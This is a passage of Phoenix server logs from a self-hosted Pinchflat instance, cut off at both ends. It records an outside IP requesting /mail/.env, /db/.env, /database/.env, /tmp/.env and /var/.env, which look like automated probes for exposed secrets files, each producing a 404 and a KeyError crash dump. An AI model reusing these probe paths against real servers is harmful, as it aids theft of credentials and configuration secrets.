{"x-real-ip", "185.177.72.50"} ], request_path: "/mail/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-jF-BLXlTdAAAO-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3267.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mail/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49690}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mail/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3267.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mail/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49690}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3268.0>, params: %{}, path_info: ["mail", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https" (truncated) 21:08:40.839 [info] GET /db/.env 21:08:40.839 [debug] QUERY OK source="settings" db=0.2ms idle=58.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.840 [debug] QUERY OK source="settings" db=0.2ms idle=43.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.840 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.840 [error] #PID<0.3270.0> running PinchflatWeb.Endpoint (connection #PID<0.3269.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /db/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /db/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3269.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/db/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49698}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3270.0>, params: %{}, path_info: ["db", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/db/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-jOpe-7lalYAAPAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3269.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/db/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49698}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /db/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3269.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/db/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49698}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3270.0>, params: %{}, path_info: ["db", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x (truncated) 21:08:41.001 [info] GET /database/.env 21:08:41.001 [debug] QUERY OK source="settings" db=0.2ms idle=204.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.002 [debug] QUERY OK source="settings" db=0.2ms idle=198.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.002 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.003 [error] #PID<0.3272.0> running PinchflatWeb.Endpoint (connection #PID<0.3271.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /database/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /database/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3271.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/database/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49704}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3272.0>, params: %{}, path_info: ["database", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/database/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-j1QiqJS7kYAAPCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3271.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/database/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49704}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /database/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3271.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/database/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49704}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3272.0>, params: %{}, path_info: ["database", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, (truncated) 21:08:41.032 [info] GET /tmp/.env 21:08:41.033 [debug] QUERY OK source="settings" db=0.3ms idle=229.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.034 [debug] QUERY OK source="settings" db=0.2ms idle=194.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.034 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.034 [error] #PID<0.3274.0> running PinchflatWeb.Endpoint (connection #PID<0.3273.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /tmp/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /tmp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3273.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tmp/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49710}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3274.0>, params: %{}, path_info: ["tmp", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/tmp/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-j80H-VSE1wAAPEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3273.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tmp/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49710}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /tmp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3273.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/tmp/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49710}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3274.0>, params: %{}, path_info: ["tmp", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:41.125 [info] GET /var/.env 21:08:41.126 [debug] QUERY OK source="settings" db=0.6ms idle=286.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.127 [debug] QUERY OK source="settings" db=0.3ms idle=125.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.127 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.128 [error] #PID<0.3276.0> running PinchflatWeb.Endpoint (connection #PID<0.3275.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /var/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /var/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3275.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/var/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49718}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => 